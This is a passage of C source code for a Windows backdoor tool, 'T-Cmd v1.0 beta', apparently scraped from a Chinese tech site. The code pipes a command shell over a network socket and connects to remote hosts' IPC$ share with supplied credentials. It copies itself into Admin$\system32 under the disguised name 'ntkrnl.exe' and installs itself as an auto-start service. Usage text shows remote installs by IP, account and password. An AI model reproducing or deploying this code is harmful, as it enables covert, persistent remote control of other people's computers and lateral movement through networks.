if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);
return 0;
}
DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";
send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);
while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}
for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,
dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}
if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}
shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}
DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];
dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];
if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}
BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;
sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;
if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}
if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}
return TRUE;
}
void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}
printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}
printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}
printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(MAX_PATH);
sprintf(lpHostName,"\\\\%s",lpHost);
}
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure !\n");
}
else
{
printf("Failuer ... Access is Denied !\n");
}
return ;
}
schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists !\n");
}
else
{
printf("Failure !\n");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped !\n");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
}
}
else
{
printf("Failure !\n");
}
}
}
else
{
printf("Query Failure !\n");
}
printf("Removing Service .... ");
if(DeleteService(schService)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf("Removing File ....... ");
Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists !\n");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}
FindClose(hSearch);
}
return ;
}
void Start()
{
printf("\n");
printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n");
printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n");
printf("\t\t---[ HomePage: www.safechina.net ]---\n");
printf("\t\t---[ Date: 02-05-2003 ]---\n\n");
return ;
}
void Usage()
{
printf("Attention:\n");
printf(" Be careful with this software, Good luck !\n\n");
printf("Usage Show:\n");
printf(" T-Cmd -Help\n");
printf(" T-Cmd -Install [RemoteHost] [Account] [Password]\n");
printf(" T-Cmd -Remove [RemoteHost] [Account] [Password]\n\n");
printf("Example:\n");
printf(" T-Cmd -Install (Install in the localhost)\n");
printf(" T-Cmd -Remove (Remove in the localhost)\n");
printf(" T-Cmd -Install 192.168.0.1 TOo2y 123456 (Install in 192.168.0.1)\n");
printf(" T-Cmd -Remove 192.168.0.1 TOo2y 123456 (Remove in 192.168.0.1)\n");
printf(" T-Cmd -Install 192.168.0.2 TOo2y NULL (NULL instead of no password)\n\n");
return ;
}
相關(guān)文章
新手看招:避免網(wǎng)絡(luò) IP 地址被非法修改
新手看招:避免網(wǎng)絡(luò) IP 地址被非法修改...2007-01-01用Sygate輕松實(shí)現(xiàn)共享上網(wǎng)
用Sygate輕松實(shí)現(xiàn)共享上網(wǎng)...2006-11-11